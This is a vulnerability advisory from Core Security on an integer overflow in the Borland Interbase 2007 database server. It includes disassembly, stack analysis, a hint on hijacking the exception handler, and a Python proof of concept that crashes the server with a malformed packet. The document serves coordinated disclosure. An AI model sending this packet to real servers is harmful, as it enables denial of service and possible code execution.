CORE-2008-0415: Borland Interbase 2007 Integer Overflow
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*Advisory Information*
Title: Borland Interbase 2007 Integer Overflow
Advisory ID: CORE-2008-0415
Advisory URL: http://www.coresecurity.com/?action=item&id=2278
Date published: 2008-05-20
Date of last update: 2008-05-20
Vendors contacted: Borland
Release mode: Coordinated release
*Vulnerability Information*
Class: Integer Overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: N/A
*Vulnerability Description*
The Borland Interbase 2007 database server [1] is vulnerable to an
integer overflow when a malformed packet is sent to the default TCP port
3050. The integer overflow can cause a stack overflow, which allows
arbitrary code execution with system privileges.
*Vulnerable Packages*
. Borland Interbase 2007 Service Pack 2 (8.1.0.256), Solaris and Windows
versions.
*Non-vulnerable Packages*
. None currently available (see vendor information below).
*Vendor Information, Solutions and Workarounds*
Verbatim from vendor:
"CodeGear is aware of an InterBase security vulnerability that can
expose an InterBase server (running on Microsoft Windows, Linux, Solaris
and Macintosh platforms) to a possible security breach. This
vulnerability is exposed via inside the firewall connections. If an open
port which is connected to an InterBase server is found, and a socket
connection is made to the InterBase server, invalid data can be sent to
the InterBase server which can cause a buffer overflow resulting in a
hang or crash of the InterBase server.
How do I protect my InterBase servers from this security vulnerability?
There are 2 basic steps to protect your InterBase servers from this
vulnerability:
1. The Interbase.log file will give error log information about remote
machines that have invalid connection attempts. You can use this
information to identify such rogue applications and take corrective action.
2. InterBase versions 7.5 and later provide a facility to redefine your
instance of InterBase to use a different TCP port. Use this facility
when you install the product so external rogue applications cannot
connect to a "known" port.
Please consult your security advisors for the best way to protect your
systems.
We are investigating additional solutions to address this vulnerability
and will notify users of any further precautions which may be taken for
additional protection."
*Credits*
This vulnerability was discovered and researched by Damian Frizza, from
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
Special thanks to Alfredo Ortega. An exploit for this vulnerability will
be shortly available for CORE IMPACT customers.
*Technical Description / Proof of Concept Code*
The Borland Interbase 2007 database server is vulnerable to an integer
overflow when a malformed packet is sent to the default TCP port 3050.
The integer overflow causes a stack overflow, which allows arbitrary
code execution with system privileges.
During the research of a Firebird SQL bug reported earlier by another
party [2] a triggering proof of concept was developed. According to [3],
Firebird SQL started as a fork of Borland's open source release of
InterBase, so the Firebird PoC was also tested on Interbase, triggering
the bug described in this advisory.
1) Solaris version:
This is the vulnerable code section:
/-----------
inet_accept_connection+0x164: srl %o5, 0x10, %o7
inet_accept_connection+0x168: ld [%l0 + 0xcc], %l1
inet_accept_connection+0x16c: sth %o7, [%l1 + 8]
inet_accept_connection+0x170: ba +0x3a0
<inet_accept_connection+0x510>
inet_accept_connection+0x174: ld [%fp - 0x8c], %g2
inet_accept_connection+0x178: ld [%fp - 0x88], %g3
inet_accept_connection+0x17c: add %fp, -0x84, %g2
inet_accept_connection+0x180: st %g2, [%fp - 0x90]
inet_accept_connection+0x184: ldsb [%g3], %g4
inet_accept_connection+0x188: st %g4, [%fp - 0xa0]
inet_accept_connection+0x18c: ld [%fp - 0x88], %o5
inet_accept_connection+0x190: add %o5, 1, %o7
inet_accept_connection+0x194: st %o7, [%fp - 0x88]
inet_accept_connection+0x198: ld [%fp - 0xa0], %o4
inet_accept_connection+0x19c: st %o4, [%fp - 0x304]
inet_accept_connection+0x1a0: ld [%fp - 0x304], %l0
inet_accept_connection+0x1a4: st %l0, [%fp - 0x308]
inet_accept_connection+0x1a8: ld [%fp - 0x308], %l1
inet_accept_connection+0x1ac: cmp %l1, 0
inet_accept_connection+0x1b0: be,a +0x50
<inet_accept_connection+0x200>
inet_accept_connection+0x1b4: clr %g2.
- -----------/
The integer overflow occurs when loading a signed byte from the packet
here:
/-----------
inet_accept_connection+0x184: ldsb [%g3], %g4
g4 = 0xffffff80
- -----------/
Then the value overflowing 'g4' is moved to 'l3', and used as a counter
/-----------
inet_accept_connection+0x1b8: ld [%fp - 0x88], %g2
inet_accept_connection+0x1bc: ld [%fp - 0x90], %g4
inet_accept_connection+0x1c0: ldsb [%g2], %g3 *
inet_accept_connection+0x1c4: stb %g3, [%g4] **
inet_accept_connection+0x1c8: ld [%fp - 0xa0], %l1
inet_accept_connection+0x1cc: ld [%fp - 0x88], %o4
inet_accept_connection+0x1d0: sub %l1, 1, %l2
inet_accept_connection+0x1d4: st %l2, [%fp - 0xa0]
inet_accept_connection+0x1d8: add %o4, 1, %o5
inet_accept_connection+0x1dc: st %o5, [%fp - 0x88]
inet_accept_connection+0x1e0: ld [%fp - 0xa0], %l3
inet_accept_connection+0x1e4: cmp %l3, 0 ***
inet_accept_connection+0x1e8: ld [%fp - 0x90], %o7
inet_accept_connection+0x1ec: add %o7, 1, %l0
inet_accept_connection+0x1f0: st %l0, [%fp - 0x90]
inet_accept_connection+0x1f4: bne,a -0x38
<inet_accept_connection+0x1bc>
* g3 point to packet bytes
** copy packet bytes to the stack address pointed by g4
*** loop until l3 = 0
- -----------/
2) Windows version:
In this platform the integer overflow is produced here:
/-----------
0040F605 0FBE11 MOVSX EDX,BYTE PTR DS:[ECX]
- -----------/
And here the packet data is copied from the packet to the stack:
/-----------
0040F62C 880A MOV BYTE PTR DS:[EDX],CL
- -----------/
In the stack we can see a 0x40 bytes size buffer followed by a pointer
to the source string:
/-----------
00ECF6CC 0000000
00ECF6D0 00000000
00ECF6D4 00000000
00ECF6D8 00000000
00ECF6DC 00000000
00ECF6E0 00000000
00ECF6E4 00000000
00ECF6E8 00000000
00ECF6EC 00000000
00ECF6F0 00000000
00ECF6F4 00000000
00ECF6F8 00000000
00ECF6FC 00000000
00ECF700 00000000
00ECF704 00000000
00ECF708 00000000
00ECF70C 00A9636D *
* source string pointer
- -----------/
We can write on the Structured Exception Handler taking control of the
program flow if we set a pointer to our data when the loop writes the
source pointer.
The following Python code demonstrates the bug on the default
installation. Replace the IP address '192.168.22.252' with yours. Port
'3050' is the default one.
/-----------
# save as ibserver_poc.py and run it with Python
import socket
import struct
socket = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
socket.connect(("192.168.22.252", 3050))
packet ='\x00\x00\x00\x01\x00\x00\x00\x13'
packet +='\x00\x00\x00\x05\x00\x00\x00\x1d'
packet +='\x00\x00\x00\x09'
packet += 'B' * 9
packet +='\x00'*6
packet +='\x02\x00\x00'
packet += '\x01\x60'
packet +='\x02'
packet += chr(0x80) # negative byte
packet += 'A' * 1000
socket.send(packet)
socket.close()
- -----------/
*Report Timeline*
. 2008-05-02: Initial notification sent to the vendor, offering the
CORE-2008-0415 advisory draft in plain-text or encrypted.
. 2008-05-05: Vendor acknowledges and requests the draft in plain text.
. 2008-05-05: Core sends the draft.
. 2008-05-09: Vendor requests a more detailed description of the steps
to reproduce the bug.
. 2008-05-09: Core sends a more detailed description of the steps to
reproduce the bug and fixes a bug on the PoC python code.
. 2008-05-09: Vendor confirms the bug has been reproduced.
. 2008-05-14: Vendor sends information for the advisory, including steps
to protect from the vulnerability and considering the issue closed.
. 2008-05-15: Core asks the vendor if the response is final and
communicates that the steps described by the vendor are only ineffective
mitigations that can be bypassed by a skilled attacker (i.e. finding any
new port and erasing the Interbase logs). If the response is final,
advisory will be published on May 26th as scheduled.
. 2008-05-15: Vendor confirms that the response is final and that any
further information will be notified to the customers.
. 2008-05-15: Core decides and communicates the vendor that the advisory
will be published on May 20th, no further postponement is required by
the coordinating parties.
. 2008-05-20: Advisory CORE-2008-0415 is published.
*References*
[1] Borland Interbase 2007 http://www.codegear.com/products/interbase
[2] Firebird Username Remote Buffer Overflow Vulnerability
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0467
[3] http://en.wikipedia.org/wiki/Firebird_%28database_server%29
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